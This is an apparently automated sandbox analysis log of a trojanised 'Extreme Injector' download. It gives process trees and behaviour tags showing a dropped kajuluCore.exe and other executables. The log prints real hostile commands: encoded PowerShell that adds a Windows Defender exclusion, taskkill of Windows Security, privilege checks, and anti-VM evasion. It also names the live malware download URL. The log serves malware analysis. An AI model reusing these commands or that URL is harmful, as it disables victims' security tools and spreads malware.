PID 4700 wrote to memory of 3420	4700	msedge.exe	101
PID 4700 wrote to memory of 3348	4700	msedge.exe	111
PID 4700 wrote to memory of 3952	4700	msedge.exe	112
PID 4700 wrote to memory of 1192	4700	msedge.exe	113
PID 4700 wrote to memory of 5524	4700	msedge.exe	114
PID 4700 wrote to memory of 5524	4700	msedge.exe	114
PID 4700 wrote to memory of 5576	4700	msedge.exe	115
PID 4700 wrote to memory of 5576	4700	msedge.exe	115
PID 864 wrote to memory of 6012	864	ExtremeInjector.exe	119
PID 6012 wrote to memory of 5364	6012	kajuluCore.exe	121
PID 6012 wrote to memory of 5364	6012	kajuluCore.exe	121
PID 6012 wrote to memory of 3112	6012	kajuluCore.exe	122
PID 3112 wrote to memory of 5676	3112	cmd.exe	124
PID 6012 wrote to memory of 5552	6012	kajuluCore.exe	125
PID 5552 wrote to memory of 2524	5552	cmd.exe	127
PID 6012 wrote to memory of 3596	6012	kajuluCore.exe	128
PID 3596 wrote to memory of 3928	3596	cmd.exe	130
PID 3928 wrote to memory of 5088	3928	net.exe	131
PID 6012 wrote to memory of 2528	6012	kajuluCore.exe	132
PID 6012 wrote to memory of 1728	6012	kajuluCore.exe	133
PID 6012 wrote to memory of 1728	6012	kajuluCore.exe	133
PID 4700 wrote to memory of 5216	4700	msedge.exe	138
PID 4700 wrote to memory of 5216	4700	msedge.exe	138
PID 6012 wrote to memory of 5348	6012	kajuluCore.exe	140
PID 5348 wrote to memory of 3384	5348	cmd.exe	142
PID 6012 wrote to memory of 1864	6012	kajuluCore.exe	143
PID 6012 wrote to memory of 4756	6012	kajuluCore.exe	145
PID 4700 wrote to memory of 4968	4700	msedge.exe	146
PID 4700 wrote to memory of 4968	4700	msedge.exe	146
PID 4700 wrote to memory of 4384	4700	msedge.exe	151
PID 4700 wrote to memory of 4384	4700	msedge.exe	151
PID 1420 wrote to memory of 2320	1420	ExtremeInjector.exe	152
PID 2320 wrote to memory of 1792	2320	kajuluCore.exe	154
PID 2320 wrote to memory of 1792	2320	kajuluCore.exe	154
PID 2320 wrote to memory of 2512	2320	kajuluCore.exe	155
PID 2512 wrote to memory of 700	2512	cmd.exe	157
PID 2320 wrote to memory of 4532	2320	kajuluCore.exe	158
PID 4532 wrote to memory of 4680	4532	cmd.exe	160
PID 2320 wrote to memory of 5088	2320	kajuluCore.exe	161
PID 5088 wrote to memory of 1512	5088	cmd.exe	163
PID 1512 wrote to memory of 2712	1512	net.exe	164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/jellobean/Extreme-Injector-v3.7.3-Desktop/releases/download/DLL-INJECTOR/ExtremeInjector.zip
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x248,0x7ffac829c188,0x7ffac829c194,0x7ffac829c1a0
  2⤵
  PID:4256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1972,i,1534865875439849552,18412750241465516877,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1772,i,10706359279612142449,17530672364056956930,262144 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:4792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2544,i,12323479354048236832,14729630162926151729,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:8
  2⤵
  PID:3808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3476,i,11420098096572300235,2075667353045305966,2097152 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
  2⤵
  PID:3240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3496,i,15252520356987722015,8002510176757619179,2097152 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
  2⤵
  PID:5352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5020,i,2948249008701098605,4428806201467418291,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:8
  2⤵
  PID:4972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,541296852678380255,17886878667628074955,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:8
  2⤵
  PID:4284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5500,i,7882992504736973642,16711227768992538906,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:8
  2⤵
  PID:4984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5464,i,6197299348072983648,9830359737375553283,2097152 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:1
  2⤵
  PID:2508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,3544092121700776614,17820996354152185793,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:8
  2⤵
  PID:3792
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6524,i,8621209232674039643,11133413498267529588,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:8
  2⤵
  PID:3248
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6524,i,8621209232674039643,11133413498267529588,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:8
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3564,i,12138096591346953023,9920224619199476397,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:8
  2⤵
  PID:3348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3720,i,9329207079505407950,7686908751917363191,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:8
  2⤵
  PID:3952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1544,i,17378427808672327521,15565611715507785701,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:8
  2⤵
  PID:1192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6488,i,4080150704067007348,5662341653567580574,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:8
  2⤵
  PID:5524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3704,i,12002114105479490693,10584531671363683772,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:8
  2⤵
  PID:5576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5196,i,13153207041341910779,16825062868822856365,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:8
  2⤵
  PID:5216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,11455171331739061635,8863390967734182049,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=1216 /prefetch:8
  2⤵
  PID:4968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,9122978752451981031,13549207738121146267,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5124 /prefetch:8
  2⤵
  PID:4384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5812,i,203683561417223621,15986648785149731071,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:8
  2⤵
  PID:772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5824,i,7567847585365057700,14667464676134304031,262144 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5652,i,5064999653101702483,5714901912873109190,524288 --field-trial-handle=2224,i,7699127904140420785,11793275080137772261,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:8
  2⤵
  PID:2572

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1252

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5416

C:\Users\Admin\AppData\Local\Temp\Temp1_ExtremeInjector.zip\ExtremeInjector.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_ExtremeInjector.zip\ExtremeInjector.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864
- C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
  C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6012
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1744,i,15493636306270599246,1109385260127368079,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1736 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3596
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3928
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5088
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --field-trial-handle=2288,i,15493636306270599246,1109385260127368079,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2528
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --app-path="C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\resources\app.asar" --enable-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=2392,i,15493636306270599246,1109385260127368079,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5348
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM SecHealthUI.exe
      4⤵
      Kills process with taskkill
      PID:3384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -EncodedCommand dAByAHkAIAB7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAH0AIABjAGEAdABjAGgAIAB7AH0A
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1864
- - C:\Users\Admin\AppData\Local\Temp\0048f9440a2fddd7.exe
    C:\Users\Admin\AppData\Local\Temp\0048f9440a2fddd7.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:4756
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      C:\Program Files\Google\Chrome\Application\chrome.exe
      4⤵
      PID:5612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      4⤵
      PID:5040

C:\Users\Admin\AppData\Local\Temp\Temp1_ExtremeInjector.zip\ExtremeInjector.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_ExtremeInjector.zip\ExtremeInjector.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
  C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1732,i,11969647412250479687,18203584134534258732,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1724 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -EncodedCommand QAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUABvAHIAdABDAG8AbgBuAGUAYwB0AG8AcgApAC4AQwBvAHUAbgB0AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA=="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1512
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2712
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
    "C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\kajulucore-clja" --field-trial-handle=2100,i,11969647412250479687,18203584134534258732,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4524
- - C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\kajuluCore.exe
